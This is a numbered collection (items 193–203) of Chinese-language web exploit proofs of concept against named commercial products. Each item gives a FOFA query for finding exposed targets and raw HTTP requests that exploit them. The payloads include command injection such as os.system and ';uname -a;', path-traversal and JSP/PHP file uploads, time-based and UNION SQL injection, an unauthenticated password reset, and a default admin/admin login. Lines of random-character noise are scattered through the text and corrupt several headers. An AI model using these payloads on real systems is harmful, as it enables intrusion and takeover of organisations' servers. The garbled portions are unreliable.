ctx.Response.Write("test");
, T' R/ w6 c' Y/ {" r2 i}
2 J5 {& n0 r# B. T% h( K}

& V$ a$ \/ ^6 A
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
% e& g) O1 w  A% X* zContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
0 g# ^+ d; A  A0 e2 l: z) x
, \. ~4 \4 |0 Z: s; R5 K" e
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
2 S3 F7 `) E8 i  IHost:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
; x: i( _1 r, t; w! lAccept: */*
1 O4 u  q/ s2 F1 S2 LConnection: close
Cookie: PHPSESSID=2333333333333;
' g9 U6 M- \4 S$ E- m2 AContent-Type: application/x-www-form-urlencoded
) P, |  k: K+ w+ q/ D, U5 sContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
! N, V. l5 u6 B( G  V
1 b, y' v  \: D7 s
GET /master/img/config HTTP/1.1
! g5 H( Y0 k( t8 R: L1 lHost:
User-Agent: Mozilla/5.0
4 N2 C7 R3 M8 J, Z, Q+ f

2 X' M& a) B: g3 u4 ]194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
# o" {9 n: E) b# W5 Y4 O9 J+ cFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

) D5 T& r$ u* Z) fPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 ^2 H( r+ i4 D( J, [3 G: hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% j8 o' w$ R* @" F4 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
) o9 [  r6 V) h6 }% u! H2 c4 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
; g- |- F  K: U4 G7 e# ~0 ~------WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ F3 r2 ?/ d8 `7 r
) v. i7 `  o: v! }/ R, O: p* zContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
" u- I; X( c% D' @2 tContent-Type: text/plain
$ ]6 j  I# H3 `0 u<% out.println("hello");%>
6 @/ a0 ^) b5 c# g* K# _7 V* ?6 K------WebKitFormBoundaryKNt0t4vBe8cX9rZk
$ h7 }3 i5 B, z& |8 s4 OContent-Disposition: form-data; name="json"
/ h- R  m& b0 X# L$ a! L; K {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
7 h) r# B" _7 W# K; U5 F% o4 x
- D; Q7 a' Y* J- v! x: R% z+ f! h
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
; K$ T7 y- o( c4 [8 g" F5 K% Z0 b: G: [FOFA：title=="飞鱼星企业级智能上网行为管理系统
: q! p- p6 ]' J, }* ~( _0 y( sPOST /send_order.cgi?parameter=operation HTTP/1.1
( H' i$ {. I2 d1 M9 FHost: 127.0.0.1
Pragma: no-cache
6 f7 D' ]4 U0 Q# W2 O5 E9 mCache-Control: no-cache
- y8 ^& ^* {! j! N  B8 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 P1 X8 {. \/ D0 \3 K$ kAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) o8 L" d5 f! ^5 ?( ?Connection: close
; X7 C/ M, M4 k- P2 \+ P9 B* M9 QContent-Type: application/x-www-form-urlencoded
7 \4 O; X: n, t1 @9 i! e4 gContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
3 Q  k1 |- j4 x5 n; s) u

7 m3 e/ \9 f- Y! k196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
3 O* E; Y" @/ X! WPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
( h. T) l& n8 `& z( u+ r" @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
8 i7 y  r0 U. z. q/ f6 k. LX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
: r/ `. u- W7 V2 _1 V5 kContent-Length: 45
( _) Z  E' b  xConnection: close
' y# @0 l$ W  p; `- K- v
$ K8 [! l! _1 S2 h& i{"xgh":"test","newPass":"test666","email":""}
3 c2 B. ?( S' W# Y: M$ ?
4 N- }# O  r' o# V/ O

# B0 X! g% N7 U, e3 O+ ~0 }197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
" _# `, D0 O; @, {; c) xGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
2 T; P5 V$ X: b! E, q3 WConnection: close



198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
. h+ e" w6 F, n/ W. K  G' l( bAccept: */*
# r, |+ L2 ~2 h# X2 `' N  ]3 MAccept-Encoding: gzip, deflate
# u0 x/ q4 B1 f* S% LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
2 {0 @) B9 U+ W$ `/ @+ U& VConnection: close

+ U* m% A" \# s8 F
- e+ T4 Q. J; y6 d9 I! L6 ^. N199. cockpit系统assetsmanager_upload接口 文件上传
% ~7 m' B( A' f
  u2 r% k& {7 e1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
+ S" B" D8 t9 m/ gGET /auth/login?to=/ HTTP/1.1
' w: R9 ?* |* S5 x1 Z# F
( o! I, p) Z% @- d响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

, C) }0 h$ s# w, `! TPOST /auth/check HTTP/1.1
7 Q7 \' k/ u$ e9 z. c' M. K0 n& ^, hContent-Type: application/json

9 q5 c5 L- R0 _, l+ M6 p5 [2 [{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
8 L* `& r- b" n+ x' o. Z
响应：200，返回值:
  T$ l( @/ N: j' b& C$ m1 W' d& W# \! HSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
" c. O7 L; p; V9 @Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
- B1 c( ^( N4 }  Y2 `3 nCookie: mysession=95524f01e238bf51bb60d77ede3bea92

6 Z% y7 y+ ?: `; [-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
  b: ]" q2 Z. Q/ D5 ]+ T" I
<?php echo "tttt";unlink(__FILE__);?>
1 o0 Q/ \0 W% B# h-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
/ e3 u; N( X1 @: `# |3 ]
4 S3 l+ u2 I" d) ]& |. S# G: l-----------------------------36D28FBc36bd6feE7Fb3--
0 a" }* ^9 g* ~4 g5 Q

" l% d! Y# l- o5 n' ?/storage/uploads/tttt.php
" b9 b' T% J+ P/ X3 p! O
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
: M- b7 b+ i- |" S/ ]Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
4 D. }" z6 r. \3 u3 m. yUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
8 q5 E7 [6 b5 o& n$ }8 u+ a! oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 ]2 f0 D- e6 C5 c, FAccept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
) y1 O* K) i# F8 `9 V/ P" M8 G& EContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# R9 L% D* n1 c, ?0 k, v' UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( ?( b+ ?& J- Q) V+ w7 H% C8 q
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
2 I' Q* k6 p9 ~% E  K$ `: J# l

5 I# x  a" p( s& ]1 _2 v% k6 m202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
( w: c( ]. \7 v2 m: j+ Y% `+ `3 FGET /User/AccountEdit.aspx HTTP/1.1
- @+ R2 |3 h9 ~( i0 lHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
( z. W7 W8 c6 Z$ E# pContent-Length: 0
" o- X7 T- U4 Z. h( s
; k. M7 _/ X& V6 U+ Y
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

: }1 a; `' N+ l4 ~! K. _& {& h-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
6 y% x5 s& f6 n6 N- X& r
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
1 W" Q1 S; p7 [( P
0 r% o* H& T8 M1 j) a2 ^0 B__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
) ]) U3 \: Q' Q: NContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
. h/ M1 |- i% _0 \
Hello World!
: t5 Y3 ]# e5 M, j9 [4 h0 O9 _-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

- B; }  f# O% Q8 w- V" S+ H0 F上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

, g1 s3 B- R% x- {' ?6 s% {8 S
1 c1 R% W- n1 ]-----------------------------786435874t38587593865736587346567358735687
* E( j) A1 ?3 Y0 _4 dContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

& N0 O  w* b1 ~+ E9 I- V' U
" j" U3 P! P. Y. ~-----------------------------786435874t38587593865736587346567358735687--

7 ]0 {0 N- R* O. X9 n
: C" c6 b! [, c" e, s/ y2 o3 K+ d/_data/Uploads/1123.txt

3 j! t- x" [" q; v2 ^203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
7 F6 D& q$ P/ c5 H4 N6 zAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
! a0 a' ~! l. I) C' X) ]Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
5 x( t7 e, h1 ~6 j$ CContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
$ p  `, D6 Q4 m+ T& ?Content-Type:image/jpeg
( {2 Z( n/ A% U, z2 Z
8 I$ ?7 H; U( {3 m. o  x<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


3 b0 M$ d4 @4 }% f1 R



. a1 F4 f! x. ~& `1 s